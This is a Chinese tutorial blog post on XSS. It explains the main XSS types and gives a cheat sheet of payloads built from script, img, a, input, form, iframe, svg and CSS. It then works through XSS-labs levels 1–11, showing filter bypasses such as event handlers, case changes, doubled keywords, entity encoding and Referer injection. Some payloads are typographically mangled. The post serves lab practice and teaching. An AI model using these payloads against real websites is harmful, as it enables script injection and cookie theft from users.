当前位置: 首页 > article >正文

XSS-labs靶场通关

前置知识

什么是XSS?

XSS全称跨站脚本,是一种将任意Java代码插入到其他Web用户页面中执行以达到攻击目的的漏洞

具体表现为利用浏览器的动态展示数据功能在HTML页面里嵌入恶意代码,当用户浏览该页时,这些潜入在HTML中的恶意代码会被执行,用户浏览器被攻击者控制,从而达到攻击者的特殊目的,如 cookie窃取等

XSS攻击有哪几种?

1.反射型(一次性攻击)

常见注入点:网站的搜索栏、用户登录入口、输入表单等地方

常用来窃取客户端Cookie或钓鱼欺骗

测试:在网站的搜索栏、用户登录入口、输入表单等处输入payload,查看页面是否有弹框,则存在反射型XSS漏洞

2.存储型(持久性攻击)

常见注入点:论坛、博客、留言板、网站的留言、评论、日志等交互处

测试:在论坛、博客、留言板、网站的留言、评论、日志等交互处输入payload,查看页面是否有弹框。若有,先切换至网站其他页面,再返回输入payload的页面,若依旧出现弹窗,则存在存储型XSS漏洞

3.DOM型

DOM是文档对象模型的缩写,它是HTML文档的对象表示,同时也是外部内容(例如 JavaScript)与HTML元素之间的接口

使用DOM能够使程序和脚本能够动态访问和更新文档的内容、结构和样式

DOM型的XSS是通过修改页面DOM节点数据信息而形成的XSS跨站脚本攻击,并且基于JS上的,不需要与服务器进行交互

是客户端脚本本身解析不正确导致的安全问题

常见注入点:通过js脚本对文档对象进行编辑,从而修改页面的元素

4.MXSS(突变型)

一串看似没有问题的代码逃过XSS的检测进入某个DOM节点中,浏览器的渲染引擎将它渲染成具有潜在危险的XSS代码

5.UXSS(通用型)

UXSS是一种利用浏览器或者浏览器扩展漏洞来制造产生XSS的条件并执行代码的一种攻击类型

常见漏洞点

数据交互的地方

GET、POST、Cookies、headers

反馈与浏览

富文本编辑器

各类标签插入和自定义

数据输入的地方

用户资料

关键词、标签、说明

文件上传

常见的触发标签

无过滤:

<script>alert("xss");</script>

 解释:

script:在 HTML 中,<script> 标签用于嵌入或引用 JavaScript 代码

它告诉浏览器,标签内部的内容是 JavaScript 脚本,需要由浏览器的 JavaScript 引擎进行解析和执行

alert():JavaScript 中的一个内置函数,用于弹出一个警告框。这个函数接受一个字符串作为参数,并在警告框中显示该字符串的内容

"xss":传递给alert的参数

</script>:这是结束 <script> 标签的标记,表示 JavaScript 代码块的结束

常见payload:

<script>alert(1)</script> // 调用JavaScript语句
<img src=x onerror=alert(1)> // src是错误的 就会调用error函数
<a href=javascript:alert(1)> // 点击a即可触发
<svg onload=alert(1)> // 使用svg标签

<img>标签

正常情况下,<img> 标签的 src 属性用于指定图片资源的路径

可以利用 HTML 标签的属性来注入和执行 JavaScript 代码,以实现 XSS 攻击

<imgsrc=javascript:alert(“xss”)>

<IMGSRC=javascript:alert(String.formCharCode(88,83,83))>
#IMGSRC 虽然字母大小写与标准的 src 不同,但 HTML 对标签和属性的大小写不敏感,所以它等同于 src
String.fromCharCode()接受 Unicode 编码值作为参数,并返回对应的字符,这里 88、83、83 分别对应字符 X、S、S,alert 函数会弹出警告框显示 “XSS”

<imgsrc=”URL”style=’Xss:expression(alert(/xss));’
#src 属性指定图片的 URL,style 属性用于设置元素的样式
利用 expression() 执行 alert(/xss); 代码,弹出包含 “xss” 相关内容的警告框。不过这种利用方式主要针对旧版 IE 浏览器,现代浏览器已不支持这种危险的 expression() 用法

<imgsrc=”x”onerror=alert(1)>
#<img> 标签的 src 属性设置为 “x”,这是一个无效的图片路径,会导致图片加载失败
onerror 是 HTML 元素的一个事件属性,当元素(这里是图片)加载失败时会触发该事件
onerror=alert(1) 表示当图片加载失败时,执行 alert(1) 代码,弹出警告框显示“1”

<imgsrc=”1″onerror=eval(“alert(‘xss’)”)>
#和上一个相似,不过这里多了一个eval函数,将后面的字符串作为 JavaScript 代码进行执行

<imgsrc=1onmouseover=alert(‘xss’)>
#onmouseover 是 HTML 元素的一个事件属性,当鼠标指针移动到元素(这里是图片)上时会触发该事件

<img src=1 onmouseout="alert(1)">
#鼠标指针移出时触发

<a>标签

<a>标签,即超链接标签,是 HTML 中用于创建超链接的元素

href 属性指定了链接的目标地址

<ahref=”https://www.baidu.com”>baidu</a>

<ahref=”javascript:alert(‘xss’)”>aa</a>
//用户点击连接时,浏览器直接执行alert('xss')代码

<ahref=javascript:eval(alert(‘xss’))>aa</a>

<ahref=”javascript:aaa”onmouseover=”alert(/xss/)”>aa</a>

<ahref=””onclick=eval(alert(‘xss’))>aa</a>
//href 属性设置为空字符串 "",表示点击这个链接时不会跳转到其他页面

<ahref=kycg.asp?ttt=1000onmouseover=prompt(‘xss’)y=2016>aa</a>

<input>标签

 <input> 标签是 HTML 中用于创建输入控件的元素

<inputvalue=””onclick=alert(‘xss’)type=”text”>
//value="" 设置了输入框的初始值为空字符串,type="text" 表示创建一个文本输入框

<inputname=”name”value=””onmouseover=prompt(‘xss’)bad=””>
//name="name" 为输入框指定了一个名称,在表单提交等场景中用于标识该输入字段
prompt 函数会弹出一个带有输入框的对话框,并在对话框中显示文本 “xss”

<inputname=”name”value=””><script>alert(‘xss’)</script>
//<input name="name" value=""> 创建了一个名称为 “name”、初始值为空的输入框

 <form>标签

<form> 标签用于创建 HTML 表单,用户可以在表单中输入数据并提交

action 属性指定了表单数据提交的目标地址

method=post 表示表单数据提交的方式为 POST 方法,数据会通过 HTTP 请求的 body 部分进行传输

method="get" 表示表单数据提交的方式为 GET 方法,即数据会附加在 URL 后面进行传输

<formaction=javascript:alert(‘xss’)method=”get”>

<formaction=javascript:alert(‘xss’)>

<formmethod=postaction=aa.asp?onmouseover=prompt(‘xss’)>

<formmethod=postaction=aa.asp?onmouseover=alert(‘xss’)>

<formaction=1onmouseover=alert(‘xss)>

<formmethod=postaction=”data:text/html;base64,<script>alert(‘xss’)</script>”>
//action 的值使用了 data: 协议,data:text/html;base64,<script>alert('xss')</script> 表示将后面的内容作为一个内联的 HTML 数据
<formmethod=postaction=”data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=”>
//PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4= 解码后为 <script>alert('xss')</script>。当表单提交时,浏览器加载这个内联的 HTML 数据,会执行其中的 JavaScript 代码,弹出显示 “xss” 的警告框

<iframe>标签

<iframe> 标签:用于在当前 HTML 页面中嵌入另一个 HTML 页面

<iframe src="javascript:alert('xss');" height="5" width="1000"></iframe>
//height=5 和 width=1000:分别设置了 <iframe> 的高度为 5 像素,宽度为 1000 像素

<iframesrc=”data:text/html,&lt;script&gt;alert(‘xss’)&lt;/script&gt;”></iframe>
//data:text/html 表明数据类型是 HTML 文本
&lt;script&gt;alert('xss')&lt;/script&gt; 是经过 HTML 实体编码的 JavaScript 代码,解码后为 <script>alert('xss')</script>

<iframesrc=”data:text/html;base64,<script>alert(‘xss’)</script>”>
//data:text/html;base64 表示数据类型为 HTML 且经过 Base64 编码

<iframesrc=”data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=”>
//PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4= 是经过 Base64 编码的字符串,解码后为 <script>alert('xss')</script>。当 <iframe> 加载时,会执行该 JavaScript 代码,弹出警告框显示 “xss”

<iframe src="aaa" onmouseover="alert('xss')"></iframe>

<iframesrc=”javascript&colon;prompt&lpar;xss&rpar;”></iframe>

 <svg>标签

SVG 是一种基于 XML 的文件格式,用于描述二维矢量图形

onload 是一个事件处理属性,它可以被添加到许多 HTML 和 SVG 元素上。当元素完成加载时,会触发 onload 事件,并执行与之关联的 JavaScript 代码

<svgonload=alert(1)>

 CSS

利用 CSS 的 background-image 属性加载一个基于 javascript: 伪协议的资源,从而执行恶意的 JavaScript 代码,弹出一个显示 “XSS” 的警告框

STYLE 属性用于为 HTML 元素添加内联样式。通过这个属性,我们可以直接在 HTML 标签中定义元素的外观和行为

background-image 是 CSS 中的一个属性,用于设置元素的背景图像

<img STYLE=”background-image:url(javascript:alert(‘XSS’))”>

靶场通关

level1

代码解释

题解

直接插入一段js代码,get传参即可

?name=<script>alert('666')</script>

 level2

源码解释

htmlspecialchars 函数用于将特殊的 HTML 字符转换为 HTML 实体,以防止这些字符被浏览器解析为 HTML 标签。例如,< 会被转换为 &lt;> 会被转换为 &gt;

题解

源代码中第一个test进行了html实体转义,但是第二个没有,需要我们闭合掉value的双引号

">  <script>alert('666')</script>  <"

成功了,我们来看看此时的源码

level3

源码解析

题解

从源码可以看出来,这题的字符串(包括符号)全部都被HTML实体化了,但是htmlspecialchars函数只针对<>大于小于号进行html实体化

利用onfocus事件绕过

' onfocus=javascript:alert('666') '

传入payload之后再点击输入框触发onfocus就可以

level4

源码解析

题解

这里过滤了<>,且使用“闭合

像上一题一样,然后将闭合方式改为”即可

" οnfοcus=javascript:alert(666) "

level5

源码解释

题解

查看源码,过滤了一堆东西

但是可以用<a>标签,同时注意这里是双引号闭合

"> <a href=javascript:alert(1)>666</a><"


level6

先看看源码,依旧是过滤了一堆

但是和上一题不一样的是这题没有转小写,可以直接用大小写过滤

"><scripT>alert(1)</Script>

 level7

查看源码,过滤了一堆东西,然后赚了小写,就排除了大小写绕过的可能

虽然过滤的很多,但是只过滤了一次,我们可以双写来绕过,也就是说第一次过这个程序的时候它被替换了,然后就上传了,不会被替换第二次了

"> <a hrhrefef=javascscriptript:alert(1)>666</a> 

 level8

查看源码

转小写,过滤了script,on,src,data,href,将双引号替换为html实体

处理后的字符传进了href,作为友情链接的 URL 显示在页面

a标签的href会自动进行unicode编码

要把payload先加密再上传,就相当于前面的所有过滤都不管用了直接传到最后一步

javascript:alert(1)

level9

查看源码,和上一题一样,又是友情链接,过滤内容和上一题一样,也经过了大小写转换

和上一题不同的是这里多了一个检查,如果传入的URL中没有“http://”的话就说我的链接不合理

通过源代码可知,我们先向传入的值里面添加http://然后再将其用注释符注释掉即可

注释符:/* */

&#x6A;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3A;&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;/* http:// */

 

level10

看看源码

这个有点抽象的就是他用了两个get传参,乍一看还只显示了keyword的传参,但是后面进行处理和上传的都是t_sort

过滤了<>,但是还是能用onfocus事件

?t_sort=" οnfοcus=javascript:alert() type="text

 level11

$_SERVER 是 PHP 中的一个超全局变量,它是一个包含了诸如头信息、路径、脚本位置等多种服务器和执行环境信息的数组。超全局变量意味着在 PHP 脚本的任何作用域内都可以直接使用,无需声明

HTTP_REFERER$_SERVER 数组中的一个键,它记录了发送当前 HTTP 请求的页面的 URL。也就是说,当用户从页面 A 点击链接或表单提交等操作跳转到当前页面时,HTTP_REFERER 会记录下页面 A 的 URL

依旧是进行了两个GET传参,过滤了< >,但是有这句$str11=$_SERVER['HTTP_REFERER'];,所以不管我用的是哪个GET传参都可以


http://www.kler.cn/a/565070.html

相关文章:

  • Ollama下载安装+本地部署DeepSeek+UI可视化+搭建个人知识库——详解!(Windows版本)
  • MySQL分库分表之带来查询相关问题
  • springboot413-基于Java高校科技创新项目评审系统的设计与实现(源码+数据库+纯前后端分离+部署讲解等)
  • 如何防止 Docker 注入了恶意脚本
  • Android14窗口管理自适应投屏分辨率
  • 【论文笔记】ClipSAM: CLIP and SAM collaboration for zero-shot anomaly segmentation
  • Python学习第十八天之深度学习之Tensorboard
  • 《deepseek FlashMLA :高效的 MLA 解码内核》:此文为AI自动翻译
  • STM32G473VET6 在 Keil MDK 下手动移植 FreeRTOS 指南
  • ROS的action通信——实现阶乘运算(二)
  • 【Java项目】基于Spring Boot的校园闲置物品交易网站
  • 架构师论文《论湖仓一体架构及其应用》
  • 类和对象——const修饰的类的对象和函数
  • DavGo简单部署WebDAV服务
  • 【Deepseek学习大模型】Roofline计算规则
  • FastAPI 学习笔记
  • C++ Qt常见面试题(4):Qt事件过滤器
  • AI如何通过大数据分析提升制造效率和决策智能化
  • Android SDK与NDK的区别
  • 【NLP 37、激活函数 ③ relu激活函数】